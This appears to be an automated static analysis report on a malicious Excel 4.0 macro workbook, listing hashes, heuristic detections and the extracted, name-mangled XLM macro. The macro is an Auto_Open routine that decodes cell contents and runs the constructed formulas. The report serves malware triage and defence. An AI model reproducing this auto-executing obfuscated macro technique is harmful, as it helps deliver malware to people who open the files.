Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e74a6d0717e841e7…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:35:42 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: 44fcfd9464c50a8e7bae153e1fa21d1d SHA-1: f6c901558663a0f510db0f20793ce55fe9535265 SHA-256: e74a6d0717e841e7cfd34e36b276473548f094a5d8c5ccf6eebc878d8b7ab9f3
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6603 bytes
SHA-256: 9698715a8b8bea378aee9b8fdffa340da9dfaf31e6f1737d5ee7479dc90e984d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 38 identifiers look randomly generated (e.g. 'oZsXXhMuKwyk') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wTRBtrDBzj
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G140 
' 0018     25 LABEL : Cell Value, String Constant - cGguynfDeQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - CkqJujkMQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - EyUWVHn len=0 
' 0018     20 LABEL : Cell Value, String Constant - fNsaw len=0 
' 0018     23 LABEL : Cell Value, String Constant - gRkLCRbF len=0 
' 0018     27 LABEL : Cell Value, String Constant - gwHAlWqhlWKq len=0 
' 0018     22 LABEL : Cell Value, String Constant - hfpFueF len=0 
' 0018     26 LABEL : Cell Value, String Constant - jpMMRUNgxCq len=0 
' 0018     24 LABEL : Cell Value, String Constant - NGGsusqsF len=0 
' 0018     22 LABEL : Cell Value, String Constant - oOzddDI len=0 
' 0018     27 LABEL : Cell Value, String Constant - oZsXXhMuKwyk len=0 
' 0018     24 LABEL : Cell Value, String Constant - ShrhBpqRh len=0 
' 0018     27 LABEL : Cell Value, String Constant - TCdyjKmngBar len=0 
' 0018     20 LABEL : Cell Value, String Constant - UjjLi len=0 
' 0018     24 LABEL : Cell Value, String Constant - UkFeSrXCm len=0 
' 0018     26 LABEL : Cell Value, String Constant - VazETwbBeLl len=0 
' 0018     21 LABEL : Cell Value, String Constant - vPbUvs len=0 
' 0018     20 LABEL : Cell Value, String Constant - YXyRr len=0 
' 0018     25 LABEL : Cell Value, String Constant - zAvKzuhJlh len=0 
' 0018     25 LABEL : Cell Value, String Constant - zgdRaDTvXB len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wTRBtrDBzj,G52,"SET.NAME("YXyRr",VALUE("0"))",""
'  wTRBtrDBzj,G55,"SET.NAME("EyUWVHn",YXyRr)",""
'  wTRBtrDBzj,G60,"SET.NAME("zgdRaDTvXB",YXyRr)",""
'  wTRBtrDBzj,G62,"SET.NAME("TCdyjKmngBar",COUNTA(ShrhBpqRh))",""
'  wTRBtrDBzj,G67,"SET.NAME("oZsXXhMuKwyk",COUNTA(NGGsusqsF))",""
'  wTRBtrDBzj,G71,[],""
'  wTRBtrDBzj,G76,"SET.NAME("VazETwbBeLl","")",""
'  wTRBtrDBzj,G78,"EyUWVHn",""
'  wTRBtrDBzj,G82,"SET.NAME("CkqJujkMQ",HLOOKUP("*",ShrhBpqRh,EyUWVHn,FALSE))",""
'  wTRBtrDBzj,G85,"vPbUvs",""
'  wTRBtrDBzj,G88,"SET.NAME("hfpFueF",YXyRr)",""
'  wTRBtrDBzj,G92,[],""
'  wTRBtrDBzj,G94,"hfpFueF",""
'  wTRBtrDBzj,G96,"jpMMRUNgxCq",""
'  wTRBtrDBzj,G101,"zAvKzuhJlh",""
'  wTRBtrDBzj,G104,"oOzddDI",""
'  wTRBtrDBzj,G107,"SET.NAME("fNsaw",VALUE(HLOOKUP("*",NGGsusqsF,oOzddDI,FALSE)))",""
'  wTRBtrDBzj,G110,"UkFeSrXCm",""
'  wTRBtrDBzj,G112,"VazETwbBeLl",""
'  wTRBtrDBzj,G115,"zgdRaDTvXB",""
'  wTRBtrDBzj,G118,NEXT(),""
'  wTRBtrDBzj,G121,"gRkLCRbF",""
'  wTRBtrDBzj,G123,"SET.NAME("f",INT(T(FORMULA(T(VazETwbBeLl)&"",""&T(gRkLCRbF)))))",""
'  wTRBtrDBzj,G127,"UjjLi",""
'  wTRBtrDBzj,G131,NEXT(),""
'  wTRBtrDBzj,G135,RETURN(),""
'  wTRBtrDBzj,G166,"SET.NAME("cGguynfDeQ",G52)",""
'  wTRBtrDBzj,G169,"ShrhBpqRh",""
'  wTRBtrDBzj,G172,"SET.NAME("NGGsusqsF",R85C15)",""
'  wTRBtrDBzj,G175,"SET.NAME("UjjLi",183)",""
'  wTRBtrDBzj,G178,"SET.NAME("gwHAlWqhlWKq",7)",""
'  wTRBtrDBzj,G182,cGguynfDeQ(),""
'  wTRBtrDBzj,G183,HALT(),""

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